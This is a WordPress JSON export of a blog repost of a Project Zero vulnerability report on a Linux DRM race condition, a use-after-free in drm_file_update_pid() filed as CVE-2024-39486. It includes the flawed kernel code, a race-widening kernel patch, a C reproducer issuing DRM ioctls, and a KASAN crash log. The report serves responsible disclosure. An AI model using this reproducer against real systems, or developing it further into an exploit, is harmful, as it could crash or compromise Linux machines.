{"id":58638,"date":"2024-08-05T20:39:44","date_gmt":"2024-08-05T17:39:44","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179909\/GS20240805171400.txt"},"modified":"2024-08-05T20:39:44","modified_gmt":"2024-08-05T17:39:44","slug":"linux-drm-drm_file_update_pid-race-condition-use-after-free","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/linux-drm-drm_file_update_pid-race-condition-use-after-free\/","title":{"rendered":"Linux DRM drm_file_update_pid() Race Condition \/ Use-After-Free"},"content":{"rendered":"<p>Linux: DRM: refcount incremented too late in drm_file_update_pid()<\/p>\n[I am sending this to security@ and to the drm-misc maintainers &#8211; based on https:\/\/drm.pages.freedesktop.org\/maintainer-tools\/committer-drm-misc.html#merge-criteria I think this falls into drm-misc&#8217;s area of responsibility?]\n<p>=== summary ===<br \/>drm_file_update_pid() calls get_pid() too late, which creates a race<br \/>condition that can lead to use-after-free of a `struct pid`.<\/p>\n<p>I will send a suggested patch off-list in a minute; let me know if you want me to resend it on the dri-devel list in case that works better for you.<\/p>\n<p>=== verbose bug report ===<br \/>drm_file_update_pid() contains the following code:<\/p>\n<p>&#8220;`<br \/>struct drm_device *dev;<br \/>struct pid *pid, *old;<\/p>\n<p>\/*<br \/>* Master nodes need to keep the original ownership in order for<br \/>* drm_master_check_perm to keep working correctly. (See comment in<br \/>* drm_auth.c.)<br \/>*\/<br \/>if (filp-&gt;was_master)<br \/>return;<\/p>\n<p>pid = task_tgid(current);<\/p>\n[&#8230;]\n<p>dev = filp-&gt;minor-&gt;dev;<br \/>mutex_lock(&amp;dev-&gt;filelist_mutex);<br \/>old = rcu_replace_pointer(filp-&gt;pid, pid, 1);<br \/>mutex_unlock(&amp;dev-&gt;filelist_mutex);<\/p>\n<p>if (pid != old) {<br \/>get_pid(pid);<br \/>synchronize_rcu();<br \/>put_pid(old);<br \/>}<br \/>&#8220;`<\/p>\n<p>filp-&gt;pid is a refcounted pointer which can only be modified under<br \/>dev-&gt;filelist_mutex.<br \/>After calling rcu_replace_pointer(), we have a refcount debt of 1, which is<br \/>still fine because we&#8217;re holding the mutex that prevents other tasks from<br \/>taking ownership of the reference stored in filp-&gt;pid; but by the time we drop<br \/>this mutex, we must have called get_pid() to make up for this refcount debt,<br \/>and that isn&#8217;t done.<\/p>\n<p>So a use-after-free can occur in the following scenario, assuming filp-&gt;pid<br \/>initially points to the pid of process A and process B&#8217;s initial pid refcount<br \/>is 1:<\/p>\n<p>process A process B<br \/>========= =========<br \/>begin drm_file_update_pid<br \/>mutex_lock(&amp;dev-&gt;filelist_mutex)<br \/>rcu_replace_pointer(filp-&gt;pid, &lt;pid B&gt;, 1)<br \/>mutex_unlock(&amp;dev-&gt;filelist_mutex)<br \/>begin drm_file_update_pid<br \/>mutex_lock(&amp;dev-&gt;filelist_mutex)<br \/>rcu_replace_pointer(filp-&gt;pid, &lt;pid A&gt;, 1)<br \/>mutex_unlock(&amp;dev-&gt;filelist_mutex)<br \/>get_pid(&lt;pid A&gt;)<br \/>synchronize_rcu()<br \/>put_pid(&lt;pid B&gt;) *** pid B reaches refcount 0 and is freed here ***<br \/>get_pid(&lt;pid B&gt;) *** UAF ***<br \/>synchronize_rcu()<br \/>put_pid(&lt;pid A&gt;)<\/p>\n<p>Note that this race can only occur if RCU is configured so that<br \/>running in preemptible task context can count as an RCU quiescent state.<br \/>My testcase assumes that the kernel is configured for full preemption (meaning<br \/>either CONFIG_PREEMPT=y or CONFIG_PREEMPT_DYNAMIC=y with full preemption<br \/>selected at boot time); however, I think in theory the bug can probably be<br \/>hit as long as CONFIG_PREEMPT_RCU=y is enabled (which is the case on kernel<br \/>builds with dynamic preemption), since I think on such builds, expedited grace<br \/>periods can still detect RCU quiescent states with IPIs.<\/p>\n<p>My reproducer also requires that you patch the following code into the kernel<br \/>to slow down execution and make the bug easy to trigger:<\/p>\n<p>&#8220;`<br \/>diff &#8211;git a\/drivers\/gpu\/drm\/drm_file.c b\/drivers\/gpu\/drm\/drm_file.c<br \/>index 638ffa4444f5..03e7711e9744 100644<br \/>&#8212; a\/drivers\/gpu\/drm\/drm_file.c<br \/>+++ b\/drivers\/gpu\/drm\/drm_file.c<br \/>@@ -38,6 +38,7 @@<br \/>#include &lt;linux\/pci.h&gt;<br \/>#include &lt;linux\/poll.h&gt;<br \/>#include &lt;linux\/slab.h&gt;<br \/>+#include &lt;linux\/delay.h&gt;<\/p>\n<p>#include &lt;drm\/drm_client.h&gt;<br \/>#include &lt;drm\/drm_drv.h&gt;<br \/>@@ -472,6 +473,12 @@ void drm_file_update_pid(struct drm_file *filp)<br \/>old = rcu_replace_pointer(filp-&gt;pid, pid, 1);<br \/>mutex_unlock(&amp;dev-&gt;filelist_mutex);<\/p>\n<p>+ if (strcmp(current-&gt;comm, \\&#8221;SLOWME\\&#8221;) == 0) {<br \/>+ pr_warn(\\&#8221;%s: BEGIN DELAY\\<br \/>\\&#8221;, __func__);<br \/>+ mdelay(1000);<br \/>+ pr_warn(\\&#8221;%s: END DELAY\\<br \/>\\&#8221;, __func__);<br \/>+ }<br \/>+<br \/>if (pid != old) {<br \/>get_pid(pid);<br \/>synchronize_rcu();<br \/>&#8220;`<\/p>\n<p>The reproducer code:<br \/>&#8220;`<br \/>#include &lt;unistd.h&gt;<br \/>#include &lt;stdio.h&gt;<br \/>#include &lt;err.h&gt;<br \/>#include &lt;fcntl.h&gt;<br \/>#include &lt;stdlib.h&gt;<br \/>#include &lt;sys\/signal.h&gt;<br \/>#include &lt;sys\/ioctl.h&gt;<br \/>#include &lt;sys\/prctl.h&gt;<br \/>#include &lt;sys\/wait.h&gt;<br \/>#include &lt;drm\/drm.h&gt;<\/p>\n<p>#define SYSCHK(x) ({ \\\\<br \/>typeof(x) __res = (x); \\\\<br \/>if (__res == (typeof(x))-1) \\\\<br \/>err(1, \\&#8221;SYSCHK(\\&#8221; #x \\&#8221;)\\&#8221;); \\\\<br \/>__res; \\\\<br \/>})<\/p>\n<p>static void main_test_code() {<br \/>struct drm_version dummy_version;<\/p>\n<p>int drm_fd = SYSCHK(open(\\&#8221;\/dev\/dri\/renderD128\\&#8221;, O_RDONLY));<br \/>int child = SYSCHK(fork());<\/p>\n<p>if (child == 0) {<br \/>\/* child process *\/<br \/>prctl(PR_SET_NAME, \\&#8221;SLOWME\\&#8221;);<br \/>ioctl(drm_fd, DRM_IOCTL_VERSION, &amp;dummy_version); \/\/ delay injected here<br \/>} else {<br \/>\/* parent process *\/<br \/>usleep(200*1000);<br \/>ioctl(drm_fd, DRM_IOCTL_VERSION, &amp;dummy_version);<br \/>}<\/p>\n<p>if (child == 0) {<br \/>\/* child process *\/<br \/>exit(0);<br \/>} else {<br \/>\/* parent process *\/<br \/>int status = 0;<br \/>pid_t child = wait(&amp;status);<br \/>printf(\\&#8221;wait() returned %d, status %d\\<br \/>\\&#8221;, child, status);<br \/>exit(0);<br \/>}<br \/>}<\/p>\n<p>int main(void) {<br \/>\/\/ run in a child process to avoid extra references from job control or such<br \/>int child = SYSCHK(fork());<br \/>if (child == 0) {<br \/>prctl(PR_SET_PDEATHSIG, SIGKILL);<br \/>main_test_code();<br \/>} else {<br \/>int status = 0;<br \/>pid_t child = wait(&amp;status);<br \/>printf(\\&#8221;wait() returned %d, status %d\\<br \/>\\&#8221;, child, status);<br \/>}<br \/>}<br \/>&#8220;`<\/p>\n<p>The resulting KASAN splat (tested on mainline plus the race widener patch<br \/>above, with CONFIG_PREEMPT=y and CONFIG_KASAN=y):<br \/>&#8220;`<br \/>==================================================================<br \/>BUG: KASAN: slab-use-after-free in drm_file_update_pid (.\/arch\/x86\/include\/asm\/atomic.h:93 (discriminator 4) .\/include\/linux\/atomic\/atomic-arch-fallback.h:749 (discriminator 4) .\/include\/linux\/atomic\/atomic-instrumented.h:253 (discriminator 4) .\/include\/linux\/refcount.h:184 (discriminator 4) .\/include\/linux\/refcount.h:241 (discriminator 4) .\/include\/linux\/refcount.h:258 (discriminator 4) .\/include\/linux\/pid.h:84 (discriminator 4) .\/include\/linux\/pid.h:81 (discriminator 4) drivers\/gpu\/drm\/drm_file.c:483 (discriminator 4))<br \/>Write of size 4 at addr ffff88811f2f68c0 by task SLOWME\/1092<\/p>\n<p>CPU: 3 PID: 1092 Comm: SLOWME Not tainted 6.10.0-rc5-00035-gafcd48134c58-dirty #384<br \/>Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04\/01\/2014<br \/>Call Trace:<br \/>&lt;TASK&gt;<br \/>dump_stack_lvl (lib\/dump_stack.c:117)<br \/>print_report (mm\/kasan\/report.c:378 mm\/kasan\/report.c:488)<br \/>kasan_report (mm\/kasan\/report.c:603)<br \/>kasan_check_range (mm\/kasan\/generic.c:175 (discriminator 1) mm\/kasan\/generic.c:189 (discriminator 1))<br \/>drm_file_update_pid (.\/arch\/x86\/include\/asm\/atomic.h:93 (discriminator 4) .\/include\/linux\/atomic\/atomic-arch-fallback.h:749 (discriminator 4) .\/include\/linux\/atomic\/atomic-instrumented.h:253 (discriminator 4) .\/include\/linux\/refcount.h:184 (discriminator 4) .\/include\/linux\/refcount.h:241 (discriminator 4) .\/include\/linux\/refcount.h:258 (discriminator 4) .\/include\/linux\/pid.h:84 (discriminator 4) .\/include\/linux\/pid.h:81 (discriminator 4) drivers\/gpu\/drm\/drm_file.c:483 (discriminator 4))<br \/>drm_ioctl_kernel (.\/include\/drm\/drm_drv.h:510 drivers\/gpu\/drm\/drm_ioctl.c:737)<br \/>drm_ioctl (drivers\/gpu\/drm\/drm_ioctl.c:842)<br \/>__x64_sys_ioctl (fs\/ioctl.c:51 fs\/ioctl.c:912 fs\/ioctl.c:898 fs\/ioctl.c:898)<br \/>do_syscall_64 (arch\/x86\/entry\/common.c:52 (discriminator 1) arch\/x86\/entry\/common.c:83 (discriminator 1))<br \/>entry_SYSCALL_64_after_hwframe (arch\/x86\/entry\/entry_64.S:130)<br \/>[&#8230;]&lt;\/TASK&gt;<\/p>\n<p>Allocated by task 1091:<br \/>kasan_save_stack (mm\/kasan\/common.c:48)<br \/>kasan_save_track (.\/arch\/x86\/include\/asm\/current.h:49 (discriminator 1) mm\/kasan\/common.c:60 (discriminator 1) mm\/kasan\/common.c:69 (discriminator 1))<br \/>__kasan_slab_alloc (mm\/kasan\/common.c:312 mm\/kasan\/common.c:338)<br \/>kmem_cache_alloc_noprof (.\/include\/linux\/kasan.h:201 mm\/slub.c:3940 mm\/slub.c:4002 mm\/slub.c:4009)<br \/>alloc_pid (kernel\/pid.c:187)<br \/>copy_process (kernel\/fork.c:2406)<br \/>kernel_clone (.\/include\/linux\/random.h:26 kernel\/fork.c:2798)<br \/>__do_sys_clone (kernel\/fork.c:2929)<br \/>do_syscall_64 (arch\/x86\/entry\/common.c:52 (discriminator 1) arch\/x86\/entry\/common.c:83 (discriminator 1))<br \/>entry_SYSCALL_64_after_hwframe (arch\/x86\/entry\/entry_64.S:130)<\/p>\n<p>Freed by task 1091:<br \/>kasan_save_stack (mm\/kasan\/common.c:48)<br \/>kasan_save_track (.\/arch\/x86\/include\/asm\/current.h:49 (discriminator 1) mm\/kasan\/common.c:60 (discriminator 1) mm\/kasan\/common.c:69 (discriminator 1))<br \/>kasan_save_free_info (mm\/kasan\/generic.c:582 (discriminator 1))<br \/>poison_slab_object (mm\/kasan\/common.c:242)<br \/>__kasan_slab_free (mm\/kasan\/common.c:256 (discriminator 1))<br \/>kmem_cache_free (mm\/slub.c:4438 (discriminator 3) mm\/slub.c:4513 (discriminator 3))<br \/>put_pid.part.0 (kernel\/pid.c:122)<br \/>drm_ioctl_kernel (.\/include\/drm\/drm_drv.h:510 drivers\/gpu\/drm\/drm_ioctl.c:737)<br \/>drm_ioctl (drivers\/gpu\/drm\/drm_ioctl.c:842)<br \/>__x64_sys_ioctl (fs\/ioctl.c:51 fs\/ioctl.c:912 fs\/ioctl.c:898 fs\/ioctl.c:898)<br \/>do_syscall_64 (arch\/x86\/entry\/common.c:52 (discriminator 1) arch\/x86\/entry\/common.c:83 (discriminator 1))<br \/>entry_SYSCALL_64_after_hwframe (arch\/x86\/entry\/entry_64.S:130)<\/p>\n<p>The buggy address belongs to the object at ffff88811f2f68c0<br \/>which belongs to the cache pid of size 240<br \/>The buggy address is located 0 bytes inside of<br \/>freed 240-byte region [ffff88811f2f68c0, ffff88811f2f69b0)<\/p>\n<p>The buggy address belongs to the physical page:<br \/>page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11f2f6<br \/>head: order:1 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0<br \/>flags: 0x200000000000040(head|node=0|zone=2)<br \/>page_type: 0xffffefff(slab)<br \/>raw: 0200000000000040 ffff888106686a00 dead000000000122 0000000000000000<br \/>raw: 0000000000000000 0000000080190019 00000001ffffefff 0000000000000000<br \/>head: 0200000000000040 ffff888106686a00 dead000000000122 0000000000000000<br \/>head: 0000000000000000 0000000080190019 00000001ffffefff 0000000000000000<br \/>head: 0200000000000001 ffffea00047cbd81 ffffffffffffffff 0000000000000000<br \/>head: 0000000000000002 0000000000000000 00000000ffffffff 0000000000000000<br \/>page dumped because: kasan: bad access detected<\/p>\n<p>Memory state around the buggy address:<br \/>ffff88811f2f6780: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb<br \/>ffff88811f2f6800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fc fc<br \/>&gt;ffff88811f2f6880: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb<br \/>^<br \/>ffff88811f2f6900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb<br \/>ffff88811f2f6980: fb fb fb fb fb fb fc fc fc fc fc fc fc fc fc fc<br \/>==================================================================<br \/>&#8220;`<\/p>\n<p>=== disclosure deadline ===<br \/>This bug is subject to a 90-day disclosure deadline. If a fix for this<br \/>issue is made available to users before the end of the 90-day deadline,<br \/>this bug report will become public 30 days after the fix was made<br \/>available. Otherwise, this bug report will become public at the deadline.<br \/>The scheduled deadline is 2024-09-25.<\/p>\n<p>For more details, see the Project Zero vulnerability disclosure policy:<br \/>https:\/\/googleprojectzero.blogspot.com\/p\/vulnerability-disclosure-<br \/>policy.html<\/p>\n<p>Related CVE Numbers: CVE-2024-39486.<\/p>\n<p>Found by: jannh@google.com<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Linux: DRM: refcount incremented too late in drm_file_update_pid() [I am sending this to security@ and to the drm-misc maintainers &#8211; based on https:\/\/drm.pages.freedesktop.org\/maintainer-tools\/committer-drm-misc.html#merge-criteria I think this falls into drm-misc&#8217;s area of responsibility?] === summary ===drm_file_update_pid() calls get_pid() too late, which creates a racecondition that can lead to use-after-free of a `struct pid`. I will send &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58638","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58638","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58638"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58638\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58638"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58638"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58638"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}